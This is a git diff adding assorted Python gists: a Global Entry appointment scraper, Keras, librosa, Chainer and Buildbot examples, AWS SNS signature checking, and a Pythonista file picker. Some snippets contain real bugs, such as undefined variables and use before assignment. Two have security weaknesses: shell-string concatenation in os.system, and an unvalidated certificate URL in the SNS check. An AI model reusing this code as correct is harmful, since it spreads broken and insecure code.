+class GlobalEntrySpider(scrapy.Spider):
+    name = 'globalentryspider'
+    start_urls = ['https://goes-app.cbp.dhs.gov/main/goes']
+
+    def parse(self, response):
+        return [scrapy.FormRequest.from_response(
+                response,
+                formnumber=0,
+                formdata={'username': USERNAME, 'password': PASSWORD},
+                callback=self.after_login)]
+
+    def after_login(self, response):
+        return scrapy.Request("https://goes-app.cbp.dhs.gov/main/goes/HomePagePreAction.do",
+                              callback=self.process_landing_page)
+
+    def process_landing_page(self, response):
+        return [scrapy.FormRequest.from_response(
+                response,
+                formnumber=0,
+                formdata={
+                    'actionFlag': 'existingApplication',
+                    'homepageProgramIndex': '0',
+                },
+                callback=self.process_scheduled_interviewed_page)]
+
+    def process_scheduled_interviewed_page(self, response):
+         return [scrapy.FormRequest.from_response(
+                response,
+                formnumber=0,
+                formdata={
+                    'actionFlag': 'reschedule'
+                },
+                callback=self.process_center_selection_page)]
+
+    def process_center_selection_page(self, response):
+        return [scrapy.FormRequest.from_response(
+                response,
+                formnumber=0,
+                formdata={
+                    'forwardFlag': 'next',
+                    'selectedEnrollmentCenter': TEST_CENTER,
+                },
+                callback=self.wip)]
+
+    def wip(self, response):
+        availibility = False
+        print "--"*200
+        COOL_MONTHS = ['May', 'June', 'July', 'August']
+        for month in COOL_MONTHS:
+            if month in response.body:
+                availiblity = True
+                print "Availible slot in :", month
+            else:
+                print "No availiblity in :", month
+        print "--"*200
+        if RUN_EMAIL_NOTIFICATION and availiblity:
+            os.system("""echo "go reschedule your global entry apt." | mail -s "global entry availibility" """ + EMAIL)
diff --git a/hard-gists/e1e011652b297d13b3ac3f99fd11b2bc/._snippet.py b/hard-gists/e1e011652b297d13b3ac3f99fd11b2bc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e1e011652b297d13b3ac3f99fd11b2bc/._snippet.py differ
diff --git a/hard-gists/e1e011652b297d13b3ac3f99fd11b2bc/snippet.py b/hard-gists/e1e011652b297d13b3ac3f99fd11b2bc/snippet.py
new file mode 100644
index 00000000..0bba7b9c
--- /dev/null
+++ b/hard-gists/e1e011652b297d13b3ac3f99fd11b2bc/snippet.py
@@ -0,0 +1,50 @@
+from keras.optimizers import Adam
+from keras import backend as K
+from keras.datasets import mnist
+from keras.utils.np_utils import to_categorical
+from keras.metrics import categorical_accuracy
+from keras.initializations import glorot_uniform, zero
+import numpy as np
+
+# inputs and targets are placeholders
+input_dim = 28*28
+output_dim = 10
+x = K.placeholder(name="x", shape=(None, input_dim))
+ytrue = K.placeholder(name="y", shape=(None, output_dim))
+
+# model parameters are variables
+hidden_dim = 128
+W1 = glorot_uniform((input_dim,hidden_dim))
+b1 = zero((hidden_dim,))
+W2 = glorot_uniform((hidden_dim,output_dim))
+b2 = zero((output_dim,))
+params = [W1, b1, W2, b2]
+
+# two-layer model
+hidden = K.sigmoid(K.dot(x, W1)+b1)
+ypred = K.softmax(K.dot(hidden,W2)+b2)
+
+# categorical cross entropy loss
+loss = K.mean(K.categorical_crossentropy(ytrue, ypred),axis=None)
+
+# categorical accuracy
+accuracy = categorical_accuracy(ytrue, ypred)
+
+# Train function
+opt = Adam()
+updates = opt.get_updates(params, [], loss)
+train = K.function([x, ytrue],[loss, accuracy],updates=updates)
+
+# Test function
+test = K.function([x, ytrue], [loss, accuracy])
+
+# Train the network
+((xtrain, ytrain),(xtest, ytest)) = mnist.load_data()
+(xtrain, xtest) = [x.reshape((-1, input_dim))/255.0 for x in (xtrain, xtest)]
+(ytrain, ytest) = [to_categorical(y, output_dim) for y in (ytrain, ytest)]
+for epoch in range(1000):
+	loss, accuracy = train([xtrain, ytrain])
+	test_loss, test_accuracy = test([xtest, ytest])
+	print("Epoch: {}, Train Loss: {}, Train Accuracy: {}, Test Loss: {}, Test Accuracy: {}".format(
+		epoch, loss, accuracy, test_loss, test_accuracy))
+
diff --git a/hard-gists/e223622e255bd5b8c9130407397a0494/._snippet.py b/hard-gists/e223622e255bd5b8c9130407397a0494/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e223622e255bd5b8c9130407397a0494/._snippet.py differ
diff --git a/hard-gists/e223622e255bd5b8c9130407397a0494/snippet.py b/hard-gists/e223622e255bd5b8c9130407397a0494/snippet.py
new file mode 100644
index 00000000..ee929976
--- /dev/null
+++ b/hard-gists/e223622e255bd5b8c9130407397a0494/snippet.py
@@ -0,0 +1,95 @@
+import os
+
+import librosa
+import matplotlib
+import matplotlib.pyplot as plt
+matplotlib.rcParams['svg.fonttype'] = 'none'
+import numpy as np
+from scipy.io.wavfile import read as readwav
+
+# Constants
+n_fft = 512
+hop_length = 256
+SR = 16000
+over_sample = 4
+res_factor = 0.8
+octaves = 6
+notes_per_octave=10
+
+
+# Plotting functions
+cdict  = {'red':  ((0.0, 0.0, 0.0),
+                   (1.0, 0.0, 0.0)),
+
+         'green': ((0.0, 0.0, 0.0),
+                   (1.0, 0.0, 0.0)),
+
+         'blue':  ((0.0, 0.0, 0.0),
+                   (1.0, 0.0, 0.0)),
+
+         'alpha':  ((0.0, 1.0, 1.0),
+                   (1.0, 0.0, 0.0))
+        }
+
+my_mask = matplotlib.colors.LinearSegmentedColormap('MyMask', cdict)
+plt.register_cmap(cmap=my_mask)
+
+def note_specgram(path, ax, peak=70.0, use_cqt=True):
+  # Add several samples together
+  if isinstance(path, list):
+    for i, p in enumerate(path):
+      sr, a = readwav(f)
+      audio = a if i == 0 else a + audio
+  # Load one sample
+  else:    
+      sr, audio = readwav(f)
+  audio = audio.astype(np.float32)
+  if use_cqt:
+    C = librosa.cqt(audio, sr=sr, hop_length=hop_length, 
+                      bins_per_octave=int(notes_per_octave*over_sample), 
+                      n_bins=int(octaves * notes_per_octave * over_sample),
+                      real=False, 
+                      filter_scale=res_factor, 
+                      fmin=librosa.note_to_hz('C2'))
+  else:
+    C = librosa.stft(audio, n_fft=n_fft, win_length=n_fft, hop_length=hop_length, center=True)
+  mag, phase = librosa.core.magphase(C)
+  phase_angle = np.angle(phase)
+  phase_unwrapped = np.unwrap(phase_angle)
+  dphase = phase_unwrapped[:, 1:] - phase_unwrapped[:, :-1]
+  dphase = np.concatenate([phase_unwrapped[:, 0:1], dphase], axis=1) / np.pi
+  mag = (librosa.logamplitude(mag**2, amin=1e-13, top_db=peak, ref_power=np.max) / peak) + 1
+  ax.matshow(dphase[::-1, :], cmap=plt.cm.rainbow)
+  ax.matshow(mag[::-1, :], cmap=my_mask)
+
+    
+def plot_notes(list_of_paths, rows=2, cols=4, col_labels=[], row_labels=[],
+              use_cqt=True, peak=70.0):
+  """Build a CQT rowsXcols.
+  """
+  column = 0
+  N = len(list_of_paths)
+  assert N == rows*cols
+  fig, axes = plt.subplots(rows, cols, sharex=True, sharey=True)
+  fig.subplots_adjust(left=0.1, right=0.9, wspace=0.05, hspace=0.1)
+  
+  #   fig = plt.figure(figsize=(18, N * 1.25))
+  for i, path in enumerate(list_of_paths):
+    row = i / cols
+    col = i % cols
+    if rows == 1:
+      ax = axes[col]
+    elif cols == 1:
+      ax = axes[row]
+    else:
+      ax = axes[row, col]
+    
+    print row, col, path, ax, peak, use_cqt
+    note_specgram(path, ax, peak, use_cqt)
+    
+    ax.set_axis_bgcolor('white')
+    ax.set_xticks([]); ax.set_yticks([])
+    if col == 0 and row_labels:
+      ax.set_ylabel(row_labels[row])
+    if row == rows-1 and col_labels:
+      ax.set_xlabel(col_labels[col])
diff --git a/hard-gists/e28813c1e8721830ff9c/._snippet.py b/hard-gists/e28813c1e8721830ff9c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e28813c1e8721830ff9c/._snippet.py differ
diff --git a/hard-gists/e28813c1e8721830ff9c/snippet.py b/hard-gists/e28813c1e8721830ff9c/snippet.py
new file mode 100644
index 00000000..3f0fcf49
--- /dev/null
+++ b/hard-gists/e28813c1e8721830ff9c/snippet.py
@@ -0,0 +1,24 @@
+import numpy
+from scipy.ndimage.interpolation import map_coordinates
+from scipy.ndimage.filters import gaussian_filter
+
+def elastic_transform(image, alpha, sigma, random_state=None):
+    """Elastic deformation of images as described in [Simard2003]_.
+
+
+    .. [Simard2003] Simard, Steinkraus and Platt, "Best Practices for
+       Convolutional Neural Networks applied to Visual Document Analysis", in
+       Proc. of the International Conference on Document Analysis and
+       Recognition, 2003.
+    """
+    if random_state is None:
+        random_state = numpy.random.RandomState(None)
+
+    shape = image.shape
+    dx = gaussian_filter((random_state.rand(*shape) * 2 - 1), sigma, mode="constant", cval=0) * alpha
+    dy = gaussian_filter((random_state.rand(*shape) * 2 - 1), sigma, mode="constant", cval=0) * alpha
+
+    x, y = numpy.meshgrid(numpy.arange(shape[0]), numpy.arange(shape[1]))
+    indices = numpy.reshape(y+dy, (-1, 1)), numpy.reshape(x+dx, (-1, 1))
+
+    return map_coordinates(image, indices, order=1).reshape(shape)
\ No newline at end of file
diff --git a/hard-gists/e294562759ff2755486e/._snippet.py b/hard-gists/e294562759ff2755486e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e294562759ff2755486e/._snippet.py differ
diff --git a/hard-gists/e294562759ff2755486e/snippet.py b/hard-gists/e294562759ff2755486e/snippet.py
new file mode 100644
index 00000000..0ced1ffb
--- /dev/null
+++ b/hard-gists/e294562759ff2755486e/snippet.py
@@ -0,0 +1,90 @@
+# -*- coding: utf-8 -*-
+import json
+import urllib2
+from M2Crypto import X509
+from base64 import b64decode
+from M2Crypto.Err import M2CryptoError
+
+SNS_MESSAGE_TYPE_SUB_NOTIFICATION = "SubscriptionConfirmation"
+SNS_MESSAGE_TYPE_NOTIFICATION = "Notification"
+SNS_MESSAGE_TYPE_UNSUB_NOTIFICATION = "UnsubscribeConfirmation"
+
+def canonical_message_builder(content, format):
+    """ Builds the canonical message to be verified.
+
+        Sorts the fields as a requirement from AWS
+
+        Args:
+            content (dict): Parsed body of the response
+            format (list): List of the fields that need to go into the message
+        Returns (str):
+            canonical message
+    """
+    m = ""
+
+    for field in sorted(format):
+        try:
+            m += field + "\n" + content[field] + "\n"
+        except KeyError:
+            # Build with what you have
+            pass
+
+    return str(m)
+
+
+def verify_sns_notification(request):
+    """ Takes a notification request from Amazon push service SNS and verifies the origin of the notification.
+
+        Kudos to Artur Rodrigues for suggesting M2Crypto: http://goo.gl/KAgPPc
+
+        Args:
+            request (HTTPRequest): The request object that is passed to the view function
+        Returns (bool):
+            True if he message passes the verification, False otherwise
+        Raises:
+            ValueError: If the body of the response couldn't be parsed
+            M2CryptoError: If an error raises during the verification process
+            URLError: If the SigningCertURL couldn't be opened
+    """
+    cert = None
+    pubkey = None
+    canonical_message = None
+    canonical_sub_unsub_format = ["Message", "MessageId", "SubscribeURL", "Timestamp", "Token", "TopicArn", "Type"]
+    canonical_notification_format = ["Message", "MessageId", "Subject", "Timestamp", "TopicArn", "Type"]
+
+    content = json.loads(request.body)
+    decoded_signature = b64decode(content["Signature"])
+
+    # Depending on the message type, canonical message format varies: http://goo.gl/oSrJl8
+    if request.META.get("HTTP_X_AMZ_SNS_MESSAGE_TYPE", None) == SNS_MESSAGE_TYPE_SUB_NOTIFICATION or \
+            request.META.get("HTTP_X_AMZ_SNS_MESSAGE_TYPE", None) == SNS_MESSAGE_TYPE_UNSUB_NOTIFICATION:
+
+        canonical_message = canonical_message_builder(content, canonical_sub_unsub_format)
+
+    elif request.META.get("HTTP_X_AMZ_SNS_MESSAGE_TYPE", None) == SNS_MESSAGE_TYPE_NOTIFICATION:
+
+        canonical_message = canonical_message_builder(content, canonical_notification_format)
+
+    else:
+        raise ValueError("Message Type (%s) is not recognized" % request.META.get("HTTP_X_AMZ_SNS_MESSAGE_TYPE", None))
+
+    # Load the certificate and extract the public key
+    cert = X509.load_cert_string(str(urllib2.urlopen(content["SigningCertURL"]).read()))
+    pubkey = cert.get_pubkey()
+    pubkey.reset_context(md='sha1')
+    pubkey.verify_init()
+
+    # Feed the canonical message to sign it with the public key from the certificate
+    pubkey.verify_update(canonical_message)
+
+    # M2Crypto uses EVP_VerifyFinal() from openssl as the underlying verification function.
+    # http://goo.gl/Bk2G36: "EVP_VerifyFinal() returns 1 for a correct signature, 0 for failure and -1 
+    # if some other error occurred."
+    verification_result = pubkey.verify_final(decoded_signature)
+
+    if verification_result == 1:
+        return True
+    elif verification_result == 0:
+        return False
+    else:
+        raise M2CryptoError("Some error occured while verifying the signature.")
\ No newline at end of file
diff --git a/hard-gists/e2af6270cc9563cca197/._snippet.py b/hard-gists/e2af6270cc9563cca197/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e2af6270cc9563cca197/._snippet.py differ
diff --git a/hard-gists/e2af6270cc9563cca197/snippet.py b/hard-gists/e2af6270cc9563cca197/snippet.py
new file mode 100644
index 00000000..a7036929
--- /dev/null
+++ b/hard-gists/e2af6270cc9563cca197/snippet.py
@@ -0,0 +1,44 @@
+import os
+
+from twisted.application import service
+from buildbot.master import BuildMaster
+from buildslave.bot import BuildSlave
+
+# setup main
+basedir = os.path.abspath(os.path.dirname(__file__))
+configfile = 'main.cfg'
+
+# Default umask for server
+umask = None
+
+# note: this line is matched against to check that this is a buildmain
+# directory; do not edit it.
+application = service.Application('buildmain')
+import sys
+
+from twisted.python.log import ILogObserver, FileLogObserver
+
+application.setComponent(ILogObserver, FileLogObserver(sys.stdout).emit)
+
+m = BuildMaster(basedir, configfile, umask)
+m.setServiceParent(application)
+
+# and subordinate on the same process!
+
+buildmain_host = 'localhost'
+port = 19989
+subordinatename = 'example-subordinate'
+passwd = 'pass'
+keepalive = 600
+usepty = 0
+umask = None
+maxdelay = 300
+allow_shutdown = None
+subordinatedir = os.path.join(basedir, "subordinate")
+if not os.path.exists(subordinatedir):
+    os.mkdir(subordinatedir)
+
+s = BuildSlave(buildmain_host, port, subordinatename, passwd, subordinatedir,
+               keepalive, usepty, umask=umask, maxdelay=maxdelay,
+               allow_shutdown=allow_shutdown)
+s.setServiceParent(application)
diff --git a/hard-gists/e2ef822c744357a4ed16ec0c885100a3/._snippet.py b/hard-gists/e2ef822c744357a4ed16ec0c885100a3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e2ef822c744357a4ed16ec0c885100a3/._snippet.py differ
diff --git a/hard-gists/e2ef822c744357a4ed16ec0c885100a3/snippet.py b/hard-gists/e2ef822c744357a4ed16ec0c885100a3/snippet.py
new file mode 100644
index 00000000..aae7e52c
--- /dev/null
+++ b/hard-gists/e2ef822c744357a4ed16ec0c885100a3/snippet.py
@@ -0,0 +1,42 @@
+from keras.models import Sequential
+from keras.layers import Dense
+from keras.utils.io_utils import HDF5Matrix
+import numpy as np
+
+def create_dataset():
+    import h5py
+    X = np.random.randn(200,10).astype('float32')
+    y = np.random.randint(0, 2, size=(200,1))
+    f = h5py.File('test.h5', 'w')
+    # Creating dataset to store features
+    X_dset = f.create_dataset('my_data', (200,10), dtype='f')
+    X_dset[:] = X
+    # Creating dataset to store labels
+    y_dset = f.create_dataset('my_labels', (200,1), dtype='i')
+    y_dset[:] = y
+    f.close()
+
+create_dataset()
+
+# Instantiating HDF5Matrix for the training set, which is a slice of the first 150 elements
+X_train = HDF5Matrix('test.h5', 'my_data', start=0, end=150)
+y_train = HDF5Matrix('test.h5', 'my_labels', start=0, end=150)
+
+# Likewise for the test set
+X_test = HDF5Matrix('test.h5', 'my_data', start=150, end=200)
+y_test = HDF5Matrix('test.h5', 'my_labels', start=150, end=200)
+
+# HDF5Matrix behave more or less like Numpy matrices with regards to indexing
+print(y_train[10])
+# But they do not support negative indices, so don't try print(X_train[-1])
+
+model = Sequential()
+model.add(Dense(64, input_shape=(10,), activation='relu'))
+model.add(Dense(1, activation='sigmoid'))
+
+model.compile(loss='binary_crossentropy', optimizer='sgd')
+
+# Note: you have to use shuffle='batch' or False with HDF5Matrix
+model.fit(X_train, y_train, batch_size=32, shuffle='batch')
+
+model.evaluate(X_test, y_test, batch_size=32)
diff --git a/hard-gists/e3433ebba20c92b63111/._snippet.py b/hard-gists/e3433ebba20c92b63111/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e3433ebba20c92b63111/._snippet.py differ
diff --git a/hard-gists/e3433ebba20c92b63111/snippet.py b/hard-gists/e3433ebba20c92b63111/snippet.py
new file mode 100644
index 00000000..178efa4e
--- /dev/null
+++ b/hard-gists/e3433ebba20c92b63111/snippet.py
@@ -0,0 +1,335 @@
+# coding: utf-8
+import ui
+import os
+from objc_util import ObjCInstance, ObjCClass
+from operator import attrgetter
+import time
+import threading
+import functools
+import ftplib
+import re
+
+# http://stackoverflow.com/a/6547474
+def human_size(size_bytes):
+	'''Helper function for formatting human-readable file sizes'''
+	if size_bytes == 1:
+		return "1 byte"
+	suffixes_table = [('bytes',0),('KB',0),('MB',1),('GB',2),('TB',2), ('PB',2)]
+	num = float(size_bytes)
+	for suffix, precision in suffixes_table:
+		if num < 1024.0:
+			break
+		num /= 1024.0
+	if precision == 0:
+		formatted_size = "%d" % num
+	else:
+		formatted_size = str(round(num, ndigits=precision))
+	return "%s %s" % (formatted_size, suffix)
+
+class TreeNode (object):
+	def __init__(self):
+		self.expanded = False
+		self.children = None
+		self.leaf = True
+		self.title = ''
+		self.subtitle = ''
+		self.icon_name = None
+		self.level = 0
+		self.enabled = True
+
+	def expand_children(self):
+		self.expanded = True
+		self.children = []
+
+	def collapse_children(self):
+		self.expanded = False
+
+	def __repr__(self):
+		return '<TreeNode: "%s"%s>' % (self.title, ' (expanded)' if self.expanded else '')
+
+class FileTreeNode (TreeNode):
+	def __init__(self, path, show_size=True, select_dirs=True,   
+               file_pattern=None):
+		TreeNode.__init__(self)
+		self.path = path
+		self.title = os.path.split(path)[1]
+		self.select_dirs = select_dirs
+		self.file_pattern = file_pattern
+		is_dir = os.path.isdir(path)
+		self.leaf = not is_dir
+		ext = os.path.splitext(path)[1].lower()
+		if is_dir:
+			self.icon_name = 'Folder'
+		elif ext == '.py':
+			self.icon_name = 'FilePY'
+		elif ext == '.pyui':
+			self.icon_name = 'FileUI'
+		elif ext in ('.png', '.jpg', '.jpeg', '.gif'):
+			self.icon_name = 'FileImage'
+		else:
+			self.icon_name = 'FileOther'
+		self.show_size = show_size
+		if not is_dir and show_size:
+			self.subtitle = human_size((os.stat(self.path).st_size))
+		if is_dir and not select_dirs:
+			self.enabled = False
+		elif not is_dir:
+			filename = os.path.split(path)[1]
+			self.enabled = not file_pattern or re.match(file_pattern, filename)
+
+	@property
+	def cmp_title(self):
+		return self.title.lower()
+
+	def expand_children(self):
+		if self.children is not None:
+			self.expanded = True
+			return
+		files = os.listdir(self.path)
+		children = []
+		for filename in files:
+			if filename.startswith('.'):
+				continue
+			full_path = os.path.join(self.path, filename)
+			node = FileTreeNode(full_path, self.show_size, self.select_dirs, self.file_pattern)
+			node.level = self.level + 1
+			children.append(node)
+		self.expanded = True
+		self.children = sorted(children, key=attrgetter('leaf', 'cmp_title'))
+
+# Just a simple demo of a custom TreeNode class... The TreeDialogController should be initialized with async_mode=True when using this class.
+class FTPTreeNode (TreeNode):
+	def __init__(self, host, path=None, level=0):
+		TreeNode.__init__(self)
+		self.host = host
+		self.path = path
+		self.level = level
+		if path:
+			self.title = os.path.split(path)[1]
+		else:
+			self.title = self.host
+		self.leaf = path and len(os.path.splitext(path)[1]) > 0
+		self.icon_name = 'FileOther' if self.leaf else 'Folder'
+
+	def expand_children(self):
+		ftp = ftplib.FTP(self.host, timeout=10)
+		ftp.login('anonymous')
+		names = ftp.nlst(self.path or '')
+		ftp.quit()
+		self.children = [FTPTreeNode(self.host, name, self.level+1) for name in names]
+		self.expanded = True
+
+class TreeDialogController (object):
+	def __init__(self, root_node, allow_multi=False, async_mode=False):
+		self.async_mode = async_mode
+		self.allow_multi = allow_multi
+		self.selected_entries = None
+		self.table_view = ui.TableView()
+		self.table_view.frame = (0, 0, 500, 500)
+		self.table_view.data_source = self
+		self.table_view.delegate = self
+		self.table_view.flex = 'WH'
+		self.table_view.allows_multiple_selection = True
+		self.table_view.tint_color = 'gray'
+		self.view = ui.View(frame=self.table_view.frame)
+		self.view.add_subview(self.table_view)
+		self.view.name = root_node.title
+		self.busy_view = ui.View(frame=self.view.bounds, flex='WH', background_color=(0, 0, 0, 0.35))
+		hud = ui.View(frame=(self.view.center.x - 50, self.view.center.y - 50, 100, 100))
+		hud.background_color = (0, 0, 0, 0.7)
+		hud.corner_radius = 8.0
+		hud.flex = 'TLRB'
+		spinner = ui.ActivityIndicator()
+		spinner.style = ui.ACTIVITY_INDICATOR_STYLE_WHITE_LARGE
+		spinner.center = (50, 50)
+		spinner.start_animating()
+		hud.add_subview(spinner)
+		self.busy_view.add_subview(hud)
+		self.busy_view.alpha = 0.0
+		self.view.add_subview(self.busy_view)
+		self.done_btn = ui.ButtonItem(title='Done', action=self.done_action)
+		if self.allow_multi:
+			self.view.right_button_items = [self.done_btn]
+		self.done_btn.enabled = False
+		self.root_node = root_node
+		self.entries = []
+		self.flat_entries = []
+		if self.async_mode:
+			self.set_busy(True)
+			t = threading.Thread(target=self.expand_root)
+			t.start()
+		else:
+			self.expand_root()
+
+	def expand_root(self):
+		self.root_node.expand_children()
+		self.set_busy(False)
+		self.entries = self.root_node.children
+		self.flat_entries = self.entries
+		self.table_view.reload()
+	
+	def flatten_entries(self, entries, dest=None):
+		if dest is None:
+			dest = []
+		for entry in entries:
+			dest.append(entry)
+			if not entry.leaf and entry.expanded:
+				self.flatten_entries(entry.children, dest)
+		return dest
+		
+	def rebuild_flat_entries(self):
+		self.flat_entries = self.flatten_entries(self.entries)
+
+	def tableview_number_of_rows(self, tv, section):
+		return len(self.flat_entries)
+
+	def tableview_cell_for_row(self, tv, section, row):
+		cell = ui.TableViewCell()
+		entry = self.flat_entries[row]
+		level = entry.level - 1
+		image_view = ui.ImageView(frame=(44 + 20*level, 5, 34, 34))
+		label_x = 44+34+8+20*level
+		label_w = cell.content_view.bounds.w - label_x - 8
+		if entry.subtitle:
+			label_frame = (label_x, 0, label_w, 26)
+			sub_label = ui.Label(frame=(label_x, 26, label_w, 14))
+			sub_label.font = ('<System>', 12)
+			sub_label.text = entry.subtitle
+			sub_label.text_color = '#999'
+			cell.content_view.add_subview(sub_label)
+		else:
+			label_frame = (label_x, 0, label_w, 44)
+		label = ui.Label(frame=label_frame)
+		if entry.subtitle:
+			label.font = ('<System>', 15)
+		else:
+			label.font = ('<System>', 18)
+		label.text = entry.title
+		label.flex = 'W'
+		cell.content_view.add_subview(label)
+		if entry.leaf and not entry.enabled:
+			label.text_color = '#999'
+		cell.content_view.add_subview(image_view)
+		if not entry.leaf:
+			has_children = entry.expanded
+			btn = ui.Button(image=ui.Image.named('CollapseFolder' if has_children else 'ExpandFolder'))
+			btn.frame = (20*level, 0, 44, 44)
+			btn.action = self.expand_dir_action
+			cell.content_view.add_subview(btn)
+		if entry.icon_name:
+			image_view.image = ui.Image.named(entry.icon_name)
+		else:
+			image_view.image = None
+		cell.selectable = entry.enabled
+		return cell
+
+	def row_for_view(self, sender):
+		'''Helper to find the row index for an 'expand' button'''
+		cell = ObjCInstance(sender)
+		while not cell.isKindOfClass_(ObjCClass('UITableViewCell')):
+			cell = cell.superview()
+		return ObjCInstance(self.table_view).indexPathForCell_(cell).row()
+
+	def expand_dir_action(self, sender):
+		'''Invoked by 'expand' button'''
+		row = self.row_for_view(sender)
+		entry = self.flat_entries[row]
+		if entry.expanded:
+			sender.image = ui.Image.named('ExpandFolder')
+		else:
+			sender.image = ui.Image.named('CollapseFolder')
+		self.toggle_dir(row)
+		self.update_done_btn()
+
+	def toggle_dir(self, row):
+		'''Expand or collapse a folder node'''
+		entry = self.flat_entries[row]
+		if entry.expanded:
+			entry.collapse_children()
+			old_len = len(self.flat_entries)
+			self.rebuild_flat_entries()
+			num_deleted = old_len - len(self.flat_entries)
+			deleted_rows = range(row + 1, row + num_deleted + 1)
+			self.table_view.delete_rows(deleted_rows)
+		else:
+			if self.async_mode:
+				self.set_busy(True)
+				expand = functools.partial(self.do_expand, entry, row)
+				t = threading.Thread(target=expand)
+				t.start()
+			else:
+				self.do_expand(entry, row)
+
+	def do_expand(self, entry, row):
+		'''Actual folder expansion (called on background thread if async_mode is enabled)'''
+		entry.expand_children()
+		self.set_busy(False)
+		old_len = len(self.flat_entries)
+		self.rebuild_flat_entries()
+		num_inserted = len(self.flat_entries) - old_len
+		inserted_rows = range(row + 1, row + num_inserted + 1)
+		self.table_view.insert_rows(inserted_rows)
+
+	def tableview_did_select(self, tv, section, row):
+		self.update_done_btn()
+
+	def tableview_did_deselect(self, tv, section, row):
+		self.update_done_btn()
+
+	def update_done_btn(self):
+		'''Deactivate the done button when nothing is selected'''
+		selected = [self.flat_entries[i[1]] for i in self.table_view.selected_rows if self.flat_entries[i[1]].enabled]
+		if selected and not self.allow_multi:
+			self.done_action(None)
+		else:
+			self.done_btn.enabled = len(selected) > 0
+
+	def set_busy(self, flag):
+		'''Show/hide spinner overlay'''
+		def anim():
+			self.busy_view.alpha = 1.0 if flag else 0.0
+		ui.animate(anim)
+
+	def done_action(self, sender):
+		self.selected_entries = [self.flat_entries[i[1]] for i in self.table_view.selected_rows if self.flat_entries[i[1]].enabled]
+		self.view.close()
+
+def file_picker_dialog(title=None, root_dir=None, multiple=False,
+                       select_dirs=False, file_pattern=None, show_size=True):
+	if root_dir is None:
+		root_dir = os.path.expanduser('~/Documents')
+	if title is None:
+		title = os.path.split(root_dir)[1]
+	root_node = FileTreeNode(os.path.expanduser('~/Documents'), show_size, select_dirs, file_pattern)
+	root_node.title = title or ''
+	picker = TreeDialogController(root_node, allow_multi=multiple)
+	picker.view.present('sheet')
+	picker.view.wait_modal()
+	if picker.selected_entries is None:
+		return None
+	paths = [e.path for e in picker.selected_entries]
+	if multiple:
+		return paths
+	else:
+		return paths[0]
+
+def ftp_dialog(host='mirrors.kernel.org'):
+	# This is just a demo of how TreeDialogController is
+	# extensible with custom TreeNode subclasses, so there
+	# aren't as many options as for the regular file dialog.
+	root_node = FTPTreeNode(host)
+	picker = TreeDialogController(root_node, async_mode=True)
+	picker.view.present('sheet')
+	picker.view.wait_modal()
+	if picker.selected_entries:
+		return picker.selected_entries[0].path
+
+def main():
+	py_files = file_picker_dialog('Pick some .py files', multiple=True, select_dirs=False, file_pattern=r'^.*\.py$')
+	print('Picked from ~/Documents:', py_files)
+	
+	ftp_file = ftp_dialog()
+	print('Picked from FTP server:', ftp_file)
+	
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/hard-gists/e3556f0089e89970bf9b/._snippet.py b/hard-gists/e3556f0089e89970bf9b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e3556f0089e89970bf9b/._snippet.py differ
diff --git a/hard-gists/e3556f0089e89970bf9b/snippet.py b/hard-gists/e3556f0089e89970bf9b/snippet.py
new file mode 100644
index 00000000..93a51969
--- /dev/null
+++ b/hard-gists/e3556f0089e89970bf9b/snippet.py
@@ -0,0 +1,420 @@
+import numpy as np
+import chainer
+import chainer.functions as F
+from chainer import Variable,FunctionSet,optimizers,cuda
+import argparse
+import convert
+import csv
+import brica1
+
+class LSTMmodel(FunctionSet):
+    def __init__(self,n_input,n_hidden,n_output):
+        super(LSTMmodel,self).__init__(
+                                #l0 = F.Linear(n_input , n_hidden),
+                                 l1_x = F.Linear(n_input ,  4*n_hidden),
+                                 l1_h = F.Linear(n_hidden , 4*n_hidden),
+                                 l2_x = F.Linear(n_hidden , 4*n_hidden),
+                                 l2_h = F.Linear(n_hidden , 4*n_hidden),
+                                 l3 = F.Linear(n_hidden , n_output)
+                                 )
+    
+
+    def forward(self,x_data,y_data,train = True):
+        x = Variable(np.array(x_data,dtype=np.float32),volatile=not train)
+        t = Variable(y_data,volatile=not train)
+        state_c1 = Variable(LSTMcomponent.inputs["state_c1"],volatile=not train)
+        state_h1 = Variable(LSTMcomponent.inputs["state_h1"],volatile=not train)
+        state_c2 = Variable(LSTMcomponent.inputs["state_c2"],volatile=not train)
+        state_h2 = Variable(LSTMcomponent.inputs["state_h2"],volatile=not train)
+        
+        #h0 = self.l0(x)
+        h1_in = self.l1_x(F.dropout(x,train=train)) + self.l1_h(state_h1)
+        c1,h1 = F.lstm(c2,h1_in)
+        h2_in = self.l2_x(F.dropout(state_h1,train=train)) + self.l2_h(state_h2)
+        c2,h2 = F.lstm(state_c1,h2_in)
+        y = self.l3(F.dropout(h2,train=train))
+        LSTMcomponent.inputs["state_c1"] = c1
+        LSTMcomponent.inputs["state_h1"] = h1
+        LSTMcomponent.inputs["state_c2"] = c2
+        LSTMcomponent.inputs["state_h2"] = h2
+
+        loss = F.softmax_cross_entropy(y,t)
+        accuracy = F.accuracy(y,t)
+        
+        return loss,accuracy
+    
+    def predict(self,x_data):
+        x = Variable(x_data)
+        h1_in = self.l1_x(x) + self.l1_h(state['h1'])
+        c1,h1 = F.lstm(state['c1'],h1_in)
+        h2_in = self.l2_x(h1) + self.l2_h(state['h2'])
+        c2,h2 = F.lstm(state['c2'],h2_in)
+        y = F.softmax(self.l3(h2))
+
+        return y.data
+
+class LSTMComponent(brica1.Component):
+    def __init__(self,n_input,n_hidden,n_output,use_gpu=False):
+        super(LSTMComponent,self).__init__()
+        self.model = LSTMmodel(n_input,n_hidden,n_output)
+        self.optimizer = optimizers.Adam()
+        self.training = True
+
+        self.make_in_port("input",n_input)
+        self.make_in_port("hidden",n_hidden)
+        self.make_in_port("state_c1",n_hidden)
+        self.make_in_port("state_h1",n_hidden)
+        self.make_in_port("state_c2",n_hidden)
+        self.make_in_port("state_h2",n_hidden)
